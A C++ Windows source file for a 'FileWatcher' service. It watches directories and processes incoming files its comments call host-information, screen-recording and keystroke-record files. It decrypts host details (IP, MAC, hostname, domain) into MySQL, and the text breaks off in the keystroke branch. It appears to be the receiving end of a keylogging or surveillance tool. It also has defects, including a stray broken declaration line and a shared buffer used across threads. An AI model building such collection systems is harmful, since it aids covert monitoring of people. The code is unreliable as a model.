////threadmanage.h
#pragma once
#ifndef THREADMANAGE_H
#define THREADMANAGE_H
//#include "SAStatusLog.h"
#include "DealData.h"
#include "ErgodicFile.h"
#include <map>
#include <vector>
#include <queue>
#include <iostream>
#include <iterator>
using namespace std;
// using namespace System;
// using namespace System::Threading;
typedef multimap<CString, CString> G_MapTemp;
#define BUFFER_SIZE ((sizeof(FILE_NOTIFY_INFORMATION) + MAX_PATH) * 2)
//完成端口結束,釋放資源的標誌
//#define POSE_COMPLETEPORT_CLOSE_FLAG "CLOSE"
#define POSE_COMPLETEPORT_CLOSE_FLAG 2012
//允許監視的最大目錄數
#define MAXHANDLE 12
//線程狀態機
typedef enum _thread_statu
{
THREAD_STATU_REPARE = 1,//等待執行
THREAD_STATU_DOING,//正在執行
THREAD_STATU_SUCCESS,//執行成功
THREAD_STATU_FAIL,//執行失敗
THREAD_STATU_USER_STOP//用戶停止
}THREAD_STATU;
typedef enum _contrl_Ok
{
CONTRL_INSERT,//插入
CONTRL_DELETE,//刪除
CONTRL_RETURN//返回
}CONTRL_OK;
//投遞線程結構
typedef struct _thread_stru
{
volatile THREAD_STATU threadStatuu;
}TREAD_STRU;
//監聽線程句柄傳遞結構體
typedef struct _listen_thread_stru_para
{
HANDLE FileHandle;//打開文件句柄
HANDLE CreateCompletePortHandle;//創建完成端口句柄
char* FilePath;//文件路徑
}LISTEN_THREAD_STRU_PARA;
//用於監聽文件的路徑、更改的文件的信息
typedef struct __listen_thread_stru_info
{
PFILE_NOTIFY_INFORMATION FileNameInfo;//用於保存文件名字、類型等信息
CString FilePath;
}LISTEN_THRED_STRU_INFO;
//用於傳遞文件句柄、文件路徑信息
typedef struct struct_handle_info
{
HANDLE CreateFileHandle;//用於保存創建的文件句柄
CString FilePath;//保存文件路徑
int ExitFlag;//只有在析構退出的時候使用
}PSTRUCT_HANDLE_INFO,*LPSTRUCT_HANDLE_INFO;///////
//接收到的數據,包括文件名和擴展名
typedef struct
{
CString fileName; //文件名,全路徑
CString fileType; //擴展名,根據擴展名判定文件類型(主機信息文件、錄屏文件、鍵盤記錄文件)
}RECEIVED_FILE_DATA ,*pRECEIVED_FILE_DATA;
class CThreadManage
{
public:
CThreadManage(void);
~CThreadManage(void);
public:
//創建並投遞掃描線程
HANDLE CreatePostErgodicFileThread(void);
//創建監視線程
void CreateListenContentThread(void);
//創建處理監聽到得數據信息線程
void CreateInfoDealThread(void);
BOOL IsExistMonitorDir();
BOOL CreateMonitorDirHandle();
BOOL IniPostForMonitorDir();
bool isEmpty();
bool isExit();
friend unsigned __stdcall ExecuteErgodicFile(void* pArguments);
friend unsigned __stdcall ExecuteListenDirectory(void* pArguments);
friend unsigned __stdcall ExecuteDealDataProc(void* pArguments);
friend unsigned __stdcall FileResolveAndStorage(void* pArguments);
// static void DealDatFile(Object^ strPath);
// static void DealTmpFile(Object^ strPath);
(void* pArguments);
public:
//存放投遞線程時分配的內存空間指針
vector<PSTRUCT_HANDLE_INFO*> m_pVec;
//vector<OVERLAPPED*> new_Overlapped;//存放投遞線時申請的overlapped空間指針
//存放路徑
queue<RECEIVED_FILE_DATA> m_filepath;
//存路徑的事件變量
HANDLE hStorageEvent;
CRITICAL_SECTION StoreDataCriticalSection;
HANDLE CreateFileResolveAndStorageThread;
public:
//掃描文件線程句柄
HANDLE hErgodicFile;
//退出線程句柄
/*HANDLE m_ExitHandle;*/
////監視目錄句柄數組
//HANDLE m_ContentListen[MAXHANDLE];
//記錄已經監視的文件目錄,目前僅用這個容器保存監測目錄
vector<CString> m_vecHadListen;
//
//vector<CString> m_VecEnd;
LISTEN_THREAD_STRU_PARA ListenThreadPara; //監視線程傳遞的參數結構體
//接收堵塞監視函數返回的值
char buf[BUFFER_SIZE]; //監聽緩衝區
//FILE_NOTIFY_INFORMATION* pNotify;
//保存根據監測目錄,創建的目錄內核句柄
HANDLE hListen[MAXHANDLE];
//保存文件路徑數組
//CString SaveFilePathArry[MAXHANDLE];
//存放監聽到信息的容器
queue<LISTEN_THRED_STRU_INFO> QueueSaveListenInfo;
//處理數據線程臨界區
CRITICAL_SECTION DealDataCriticalSection;
//監聽線程臨界區
CRITICAL_SECTION ListenDataCriticalSection;
//事件句柄EventHandle臨界區,防止多個線程同時改變EventHandle造成訪問衝突
CRITICAL_SECTION m_EventHandleCriticalSection;
//用來通知完成端口退出標誌
PSTRUCT_HANDLE_INFO FileHandlePathPointer;
//事件句柄
HANDLE EventHandle;
int CreateThreadNumber;
//掃描文件夾對象
CErgodicFile ergodicFile;
//數據庫數據處理類對象
DealData dealData;
//聲明一個日誌記錄類
//CSAStatusLog g_statusLog;//CSAStatusLog
HANDLE CreateDealDataThread;
HANDLE CreateDealDataThreadEvent;
//CString logFile="filewatcher.log";
//CString fullLogfileName="";
//FILE* out;
};
#endif
/////threadmanage.cpp
#include "StdAfx.h"
#include "ThreadManage.h"
#include "ErgodicFile.h"
#include "DisposeData.h"
#include <process.h>
#include <fstream>
#include "LogFile.h"
using namespace std;
void DealFileAction(void* pArguments);
CThreadManage::CThreadManage(void)
{
try
{
hErgodicFile = INVALID_HANDLE_VALUE;
//初始化處理監聽數據線程臨界區
InitializeCriticalSection(&DealDataCriticalSection);
InitializeCriticalSection(&StoreDataCriticalSection);
//初始化監聽線程臨界區
InitializeCriticalSection(&ListenDataCriticalSection);
//m_EventHandleCriticalSection
InitializeCriticalSection(&m_EventHandleCriticalSection);
//創建事件句柄
hStorageEvent = CreateEvent(NULL,true,false,NULL);
EventHandle = CreateEvent(NULL,true,false,NULL);
CreateDealDataThreadEvent = CreateEvent(NULL,true,false,NULL);
memset(buf,0,sizeof(buf));
//獲取最大批次路徑,保存在dealData.m_mapRunPath與dealData.m_mapMaxProjectId中
dealData.GetMaxBatch();
//獲取run_path中已存在目錄保存在dealData.m_mapRunPath中
//dealData.GetRunPathData();
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG(currentTimeStr+" "+"FileWatcher construct threadmanage failed!");
}
}
CThreadManage::~CThreadManage(void)
{
try
{
//釋放掃描文件線程句柄
if (INVALID_HANDLE_VALUE != hErgodicFile)
{
CloseHandle(hErgodicFile);
hErgodicFile = INVALID_HANDLE_VALUE;
}
//置位線程結束標誌
FileHandlePathPointer.ExitFlag = POSE_COMPLETEPORT_CLOSE_FLAG;
//向完成端口發送結束標誌,有幾個線程就發送幾次
for (int i =0;i<this->CreateThreadNumber;++i )
{
PostQueuedCompletionStatus(this->ListenThreadPara.CreateCompletePortHandle,0,(DWORD)&FileHandlePathPointer,NULL);
}
//WaitForSingleObject(CreateDealDataThreadEvent, INFINITE);
//釋放處理監聽數據線程臨界區
DeleteCriticalSection(&DealDataCriticalSection);
DeleteCriticalSection(&StoreDataCriticalSection);
//釋放監聽線程臨界區
DeleteCriticalSection(&ListenDataCriticalSection);
DeleteCriticalSection(&m_EventHandleCriticalSection);
//釋放線程運行中申請的內存資源,主要是用來存儲OVERLAPPED的空間
vector<PSTRUCT_HANDLE_INFO*>::iterator iterPvEC = m_pVec.begin();
while (iterPvEC != m_pVec.end())
{
PSTRUCT_HANDLE_INFO *tEMP = *iterPvEC;
delete tEMP;
tEMP = NULL;
iterPvEC++;
}
CloseHandle(EventHandle);
CloseHandle(hStorageEvent);
m_pVec.clear();
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG(currentTimeStr+" "+"FileWatcher deconstruct threadmanage failed!");
}
}
unsigned __stdcall ExecuteErgodicFile(void* pArguments)
{
try
{
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//DWORD tmpThreadId = GetCurrentThreadId();
//CString tmpThreadIdStr;
//tmpThreadIdStr.Format("%d",tmpThreadId);
//WRITELOG(currentTimeStr+" "+"thread id:("+tmpThreadIdStr+") ErgodicFile thread directory ...");
CThreadManage * tmpthis=(CThreadManage *)pArguments;
VecMaxPath *vecTemp = tmpthis->dealData.ReturnMaxBatchPath();
VecMaxPath::iterator iterVec = vecTemp->begin();
//遍歷文查找ok.txt文件;若果存在,則存入公用緩存;
CString strTemp;
while (iterVec != vecTemp->end())
{
strTemp = *iterVec;
tmpthis->ergodicFile.GetFilePath(strTemp);
iterVec++;
}
//m_currentTime=CTime::GetCurrentTime();
////CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"FileWatcher Ergodic Directory success!");
return 0;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher Ergodic Directory failed!");
return -1;
}
// tmpthis->g_statusLog.StatusOut("end---ExecuteErgodicFile");
}
HANDLE CThreadManage::CreatePostErgodicFileThread(void)
{
try
{
DWORD dwData;
unsigned threadID;
if (!GetExitCodeThread(hErgodicFile, &dwData) || dwData == STILL_ACTIVE)
{
hErgodicFile = (HANDLE)_beginthreadex(NULL, 0, &ExecuteErgodicFile, this, 0, &threadID);
if (INVALID_HANDLE_VALUE == hErgodicFile)
{
return NULL;
}
}
//SYSTEMTIME currentTime;
//GetLocalTime(¤tTime);
//CString currentTimeStr;
//currentTimeStr.Format(_T("%4u%2u%2u %2u:%2u:%2u"),
// currentTime.wYear,
// currentTime.wMonth,
// currentTime.wDay,
// currentTime.wHour,
// currentTime.wMinute,
// currentTime.wSecond);
//WRITELOG(currentTimeStr+"FileWatcher create Ergodic thread success!");
return hErgodicFile;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher create Ergodic thread failed!");
return NULL;
}
}
unsigned __stdcall ExecuteListenDirectory(void* pArguments)
{
try
{
/* CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
DWORD tmpThreadId = GetCurrentThreadId();
CString tmpThreadIdStr;
tmpThreadIdStr.Format("%d",tmpThreadId);
WRITELOG(currentTimeStr+" "+"thread id:("+tmpThreadIdStr+")FileWatcher is monitoring directory ..."); */
//當前對象指針
CThreadManage* tmpthis = (CThreadManage*)pArguments;
//完成端口返回數據大小
DWORD SizeOfRecieveByte = 0;
//LPSTRUCT_HANDLE_INFO類型指針,用於對GetQueuedCompletionStatus
//中獲取的數據進行類型轉換,以得到文件夾變化信息和結束標誌
LPSTRUCT_HANDLE_INFO HandleData;
//OVERLAPPED指針
LPOVERLAPPED lpstOverlapped = NULL;
//緩衝區指針,用於保存PFILE_NOTIFY_INFORMATION信息,並放入到隊列中
char *lpszBuffer = NULL;
//是否成功獲取完成端口狀態
BOOL IsCompletionPortStatusOk=FALSE;
while(true)
{
//從完成端口獲取數據信息
IsCompletionPortStatusOk = GetQueuedCompletionStatus(tmpthis->ListenThreadPara.CreateCompletePortHandle,
&SizeOfRecieveByte,(LPDWORD)&HandleData,&lpstOverlapped,INFINITE);
if (!IsCompletionPortStatusOk)
{
//return -1;
DWORD tmpThreadId = GetCurrentThreadId();
CString tmpThreadIdStr;
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
m_currentTime=CTime::GetCurrentTime();
currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
tmpThreadId = GetCurrentThreadId();
tmpThreadIdStr;
tmpThreadIdStr.Format("%d",tmpThreadId);
WRITELOG("ERR:" + currentTimeStr + " " + "thread id:(" + tmpThreadIdStr + ")FileWatcher GetQueuedCompletionStatus failed!");
continue;
}
//是否結束,該結束標誌由類析構函數中設置併發送
if (HandleData->ExitFlag == POSE_COMPLETEPORT_CLOSE_FLAG)
{
//EnterCriticalSection(&tmpthis->m_EventHandleCriticalSection);
SetEvent(tmpthis->EventHandle);//通知數據處理線程開始處理數據
//LeaveCriticalSection(&tmpthis->m_EventHandleCriticalSection);
break;
}
lpszBuffer = new char[SizeOfRecieveByte];
memcpy(lpszBuffer, tmpthis->buf, SizeOfRecieveByte);
//用於獲取PFILE_NOTIFY_INFORMATION類型的文件變化信息
LISTEN_THRED_STRU_INFO LstenThreadInfo;
LstenThreadInfo.FileNameInfo = (PFILE_NOTIFY_INFORMATION)lpszBuffer;/////包含更改文件信息的結構,windowNT定義
LstenThreadInfo.FilePath = HandleData->FilePath;
//將獲取到的文件夾變化信息放入隊列QueueSaveListenInfo
EnterCriticalSection(&tmpthis->ListenDataCriticalSection);
tmpthis->QueueSaveListenInfo.push(LstenThreadInfo);//進入臨界區保護數據
LeaveCriticalSection(&tmpthis->ListenDataCriticalSection);
SetEvent(tmpthis->EventHandle);//通知數據處理線程開始處理數據
//監視線程函數裏,投遞新一輪監視函數
OVERLAPPED m_stOverLapped;
//new_Overlapped
DWORD dwBytesReturned;
memset(&m_stOverLapped, 0, sizeof(OVERLAPPED));
memset(tmpthis->buf,0,sizeof(tmpthis->buf));
if( ::ReadDirectoryChangesW(HandleData->CreateFileHandle,//文件句柄&//文件句柄可以綁在一個結構體上通過IOKeyWord傳過來,
tmpthis->buf, //接收到那個就繼續投遞哪個文件句柄
sizeof(tmpthis->buf),
true,
FILE_NOTIFY_CHANGE_FILE_NAME,//監視類型
&dwBytesReturned,
&m_stOverLapped,
NULL ) == FALSE)
{
return -1;//投遞失敗返回1
}
}
return 0;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
DWORD tmpThreadId = GetCurrentThreadId();
CString tmpThreadIdStr;
tmpThreadIdStr.Format("%d",tmpThreadId);
WRITELOG("ERR:"+currentTimeStr+" "+"thread id:("+tmpThreadIdStr+")FileWatcher directory monitor failed!");
return -1;
}
}
void CThreadManage::CreateListenContentThread(void)
{
try
{
//創建完成端口
this->ListenThreadPara.CreateCompletePortHandle = CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0);
//創建完成端口失敗
if (NULL == this->ListenThreadPara.CreateCompletePortHandle)
{
return ;
}
//判斷各監測目錄是否存在
if(!IsExistMonitorDir())
{
return;
}
//創建監測目錄句柄
if(!CreateMonitorDirHandle())
{
return;
}
//根據CPU數量,創建cup數量*2的線程
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);
//保存開啓線程數量
this->CreateThreadNumber = (SystemInfo.dwNumberOfProcessors)*2+2;
HANDLE CreateThreadHandle;
//投遞監聽文件夾變化線程
unsigned threadID;
for(int i = 0;i<this->CreateThreadNumber;++i)
{
CreateThreadHandle = (HANDLE)_beginthreadex(NULL, 0, &ExecuteListenDirectory, this, 0, &threadID);
if (NULL!=CreateThreadHandle)
{
CloseHandle(CreateThreadHandle);
CreateThreadHandle = NULL;
}
}
//向完成端口投遞請求
if(!IniPostForMonitorDir())
{
return;
}
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"FileWatcher create directory monitor thread success!");
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher create directory monitor thread failed!");
}
}
BOOL CThreadManage::IsExistMonitorDir()
{
//獲得最大批次路徑,存入mapTemp
VecMaxPath *mapTemp = dealData.ReturnMaxBatchPath();
VecMaxPath::iterator mapFirst = mapTemp->begin();
//系統默認最大監測12個目錄超過這個數值應當提示用戶並返回
if ((int)mapTemp->size() >= MAXHANDLE)
{
return false;
}
CString tmpMonitorDir;
//首先判斷每個監測目錄是否存在,並記錄監測目錄
for (int i=0; i!=(int)mapTemp->size(); i++)
{
tmpMonitorDir = *mapFirst;
HANDLE hListen = CreateFile(tmpMonitorDir,//檢測文件路徑
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS|FILE_FLAG_OVERLAPPED,//必須要該模式//新添加了重疊IO模式
NULL);
if (INVALID_HANDLE_VALUE == hListen)
{
continue;
}
CloseHandle(hListen);
//記錄到已監視緩存
m_vecHadListen.push_back(tmpMonitorDir);
mapFirst++;
}
return true;
}
BOOL CThreadManage::CreateMonitorDirHandle()
{
//通過迭代器循環創建監測文件句柄
vector<CString>::iterator VecIteraor = m_vecHadListen.begin();
int FilePathVectorSize = (int)m_vecHadListen.size();
for (int i = 0; i != FilePathVectorSize; ++i)
{
PSTRUCT_HANDLE_INFO* FileHandlePathPointer;
//this->SaveFilePathArry[i] = *VecIteraor;
this->hListen[i] = CreateFile(*VecIteraor/*SaveFilePathArry[i]*/,//檢測文件路徑
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS|FILE_FLAG_OVERLAPPED,//必須要該模式//新添加了重疊IO模式
NULL);
if (INVALID_HANDLE_VALUE == hListen[i])
{
return false;
}
FileHandlePathPointer = new PSTRUCT_HANDLE_INFO;
m_pVec.push_back(FileHandlePathPointer);
if (NULL==FileHandlePathPointer)
{
return false;
}
FileHandlePathPointer->CreateFileHandle = this->hListen[i];
FileHandlePathPointer->FilePath = *VecIteraor;
//綁定完成端口
//等綁定的完成端口句柄
HANDLE BindCompletePort;
if ((BindCompletePort = CreateIoCompletionPort(hListen[i],this->ListenThreadPara.CreateCompletePortHandle,(DWORD)FileHandlePathPointer,0)) == NULL)
{
return false;
}
VecIteraor++;
}
return true;
}
BOOL CThreadManage::IniPostForMonitorDir()
{
vector<CString>::iterator VecIteraor = m_vecHadListen.begin();
int FilePathVectorSize = (int)m_vecHadListen.size();
for (int i = 0;i < FilePathVectorSize; ++i)
{
//投遞IO請求
OVERLAPPED Overlapped;
DWORD dwByteRet = 0;
//清空OVERLAPPED結構
memset(&Overlapped, 0, sizeof(OVERLAPPED));
memset(this->buf,0,BUFFER_SIZE);
if (this->hListen[i] != NULL)
{
if (!ReadDirectoryChangesW(
this->hListen[i],
this->buf,
BUFFER_SIZE,//緩衝數組的大小
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME,
&dwByteRet,
(LPWSAOVERLAPPED)&Overlapped,
NULL
))
{
return false;//投遞失敗
}
}
}
return true;
}
typedef struct DealDataSTR
{
CString strPara;
CString ProjectPath;
void *pArguments;
}DEAL_DATA_STRUCT,*LPDEAL_DATA_STRUCT;
unsigned __stdcall ExecuteDealDataProc(void* pArguments)
{
try
{
//當前對象指針,pArguments接受的是當前對象指針
CThreadManage* tmpthis = (CThreadManage*)pArguments;
while(TRUE)
{
WaitForSingleObject(tmpthis->EventHandle,INFINITE);
if(tmpthis->isEmpty()&&tmpthis->isExit())
{
//CreateDealDataThreadEvent
//SetEvent(tmpthis->CreateDealDataThreadEvent);
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"FileWatcher deal data thread end!");
break;
}
//從隊列中取數據
EnterCriticalSection(&tmpthis->DealDataCriticalSection);
LISTEN_THRED_STRU_INFO DatastructPara = tmpthis->QueueSaveListenInfo.front();
tmpthis->QueueSaveListenInfo.pop();
LeaveCriticalSection(&tmpthis->DealDataCriticalSection);
//用於保存文件名,str1原文件名,str2新文件名
char tmp[MAX_PATH+256], str1[MAX_PATH+256], str2[MAX_PATH+256];
memset(tmp, 0, sizeof(tmp));
WideCharToMultiByte(CP_ACP, 0, DatastructPara.FileNameInfo->FileName,DatastructPara.FileNameInfo->FileNameLength/2, tmp, MAX_PATH+256, NULL, NULL);
strcpy_s(str1, strlen(tmp) + 1, tmp);
//判斷是否存在同時產生的變化,指文件夾中發生了重命名操作
if(DatastructPara.FileNameInfo->NextEntryOffset !=0)
{
PFILE_NOTIFY_INFORMATION p = (PFILE_NOTIFY_INFORMATION)((char*)DatastructPara.FileNameInfo+DatastructPara.FileNameInfo->NextEntryOffset);
memset(tmp, 0, sizeof(tmp));
WideCharToMultiByte( CP_ACP, 0, p->FileName, p->FileNameLength/2, tmp, MAX_PATH+256, NULL, NULL);
strcpy_s(str2, strlen(tmp) + 1, tmp);
}
//將數據插入緩存
CString strSQL;
UINT iProjectId = 0;
CString strData;//文件路徑
CString strNow;//用於判斷文件是否是OK.TXT文件
bool bSign = false;
CString filePath;
int start = -1;
CString fileType("");
LPDEAL_DATA_STRUCT tmpDealData=new DEAL_DATA_STRUCT;//保存處理數據結構
RECEIVED_FILE_DATA tmpFileData;
switch(DatastructPara.FileNameInfo->Action)
{
case FILE_ACTION_RENAMED_OLD_NAME:
case FILE_ACTION_RENAMED_NEW_NAME:
tmpDealData->ProjectPath=DatastructPara.FilePath;
tmpDealData->strPara=str2;
tmpDealData->pArguments=tmpthis;
fileType = str2;
while((start = fileType.Find('.')) != -1)
{
fileType = fileType.Right(fileType.GetLength() - start -1);//取出擴展名
}
filePath = tmpDealData->ProjectPath + "\\" + tmpDealData->strPara ;
tmpFileData.fileName = filePath;
tmpFileData.fileType = fileType;
EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
tmpthis->m_filepath.push(tmpFileData);
LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
SetEvent(tmpthis->hStorageEvent);
//QueueUserWorkItem(DealFileAction, tmpDealData, WT_EXECUTEDEFAULT);
//DealFileAction(tmpDealData);
break;
case FILE_ACTION_ADDED://創建新文件
tmpDealData->ProjectPath=DatastructPara.FilePath;
tmpDealData->strPara=str1;
tmpDealData->pArguments=tmpthis;
fileType = str1;
while((start = fileType.Find('.')) != -1)
{
fileType = fileType.Right(fileType.GetLength() - start -1);//取出擴展名
}
filePath = tmpDealData->ProjectPath + "\\" + tmpDealData->strPara ;
tmpFileData.fileName = filePath;
tmpFileData.fileType = fileType;
EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
tmpthis->m_filepath.push(tmpFileData);
LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
SetEvent(tmpthis->hStorageEvent);
//QueueUserWorkItem(DealFileAction, tmpDealData, WT_EXECUTEDEFAULT);
//DealFileAction(tmpDealData);
break;
default:
delete tmpDealData;
break;
}
if(!tmpthis->isExit()&&!tmpthis->isEmpty())
{
//cout<<tmpthis->QueueSaveListenInfo.size()<<endl;
SetEvent(tmpthis->EventHandle);
}
else
{
ResetEvent(tmpthis->EventHandle);
}
delete DatastructPara.FileNameInfo;
}
return 0;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher dealing data failed!");
return -1;
}
}
//DWORD WINAPI DealFileAction(LPVOID pArguments)
void DealFileAction(void* pArguments)
{
try
{
//cout<<"DealFileAction"<<endl;
LPDEAL_DATA_STRUCT dealdatatmpptr=(LPDEAL_DATA_STRUCT)pArguments;
//當前對象指針,pArguments接受的是當前對象指針
CThreadManage* tmpthis = (CThreadManage*)dealdatatmpptr->pArguments;
CString strData=dealdatatmpptr->ProjectPath;
CString strNow=dealdatatmpptr->strPara;
bool bSign = false;
strNow.MakeUpper();
//cout<<strNow<<endl;
if (strNow.Find(TEXT("\\")) != -1)
{
strNow.MakeReverse();
strNow = strNow.Mid(0,strNow.Find(TEXT("\\")));
strNow.MakeReverse();
//判斷文件是否是ok.txt文件
if (strcmp(strNow, TEXT("OK.TXT")) == 0)
{
strData += TEXT("\\");
strData += dealdatatmpptr->strPara;
strData.MakeReverse();
strData = strData.Mid(strData.Find(TEXT("\\")) + 1);
strData.MakeReverse();
bSign = true;
}
}
else
{
//判斷文件是否是ok.txt文件
if (strcmp(strNow, TEXT("OK.TXT")) == 0)
{
bSign = true;
}
}
if (bSign)
{
if(!tmpthis->dealData.IsExistInRunPath(dealdatatmpptr->ProjectPath,strData))
{
//tmpthis->dealData.ControlDataInsertOrRead(dealdatatmpptr->ProjectPath, strData);
bSign = false;
}
}
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher ok.txt path inser into mysql failed!");
}
//dealdatatmpptr->pArguments=NULL;
//delete dealdatatmpptr;
//delete pArguments;
//delete dealdatatmpptr;
//return 0;
}
void CThreadManage::CreateInfoDealThread(void)
{
unsigned threadID;
unsigned storagteThreadID;
CreateDealDataThread = (HANDLE)_beginthreadex(NULL, 0, &ExecuteDealDataProc, this, 0, &threadID);
// if (NULL != CreateDealDataThread)
// {
// CloseHandle(CreateDealDataThread);
// CreateDealDataThread = NULL;
// }
CreateFileResolveAndStorageThread = (HANDLE)_beginthreadex(NULL, 0, &FileResolveAndStorage, this, 0, &storagteThreadID);
}
bool CThreadManage::isExit()
{
//是否結束
bool result=false;
if (FileHandlePathPointer.ExitFlag == POSE_COMPLETEPORT_CLOSE_FLAG)
{
result = true;
}
return result;
}
bool CThreadManage::isEmpty()
{
bool result=false;
EnterCriticalSection(&this->DealDataCriticalSection);
if(QueueSaveListenInfo.empty())
{
result = true;
}
//cout<<QueueSaveListenInfo.size()<<endl;
LeaveCriticalSection(&this->DealDataCriticalSection);
return result;
}
unsigned __stdcall FileResolveAndStorage(void* pArguments)
{
CThreadManage* tmpthis = (CThreadManage*)pArguments;
while(1)
{
WaitForSingleObject(tmpthis->hStorageEvent,INFINITE);
if(!tmpthis->m_filepath.empty())
{
EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
RECEIVED_FILE_DATA tmpFileData = tmpthis->m_filepath.front();
tmpthis->m_filepath.pop();
LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
Sleep(10);
CFile file;
//PC Information
if(tmpFileData.fileType == "dat")
{
CString strIp("");
CString strMac("");
CString strHostName("");
CString strDomain("");
if(file.Open(tmpFileData.fileName,CFile::modeRead|CFile::typeBinary))
{
AfxMessageBox(tmpFileData.fileName);
//從文件中讀取文件內容
char *buf=new char[file.GetLength()];
memset(buf,0,file.GetLength());
file.Read(buf,file.GetLength());
//解密文件內容
DisposeData dis;
dis.SetValue(buf);
CString str;
str = dis.ProcessDecode();
file.Close();
dis.GetPCInfo(str,strIp,strMac,strHostName,strDomain);
CString strSql("");
strSql.Format("insert into pcinformations(ip,mac,hostName,domain)\
values('%s','%s','%s','%s')",strIp,strMac,strHostName,strDomain);
//上傳數據庫
tmpthis->dealData.ControlDataInsertOrRead(strSql);
remove(tmpFileData.fileName);
}
else
{
MessageBox(0,tmpFileData.fileName,"dat",0);
}
}
//kRecord content
else if(tmpFileData.fileType == "tmp")
{
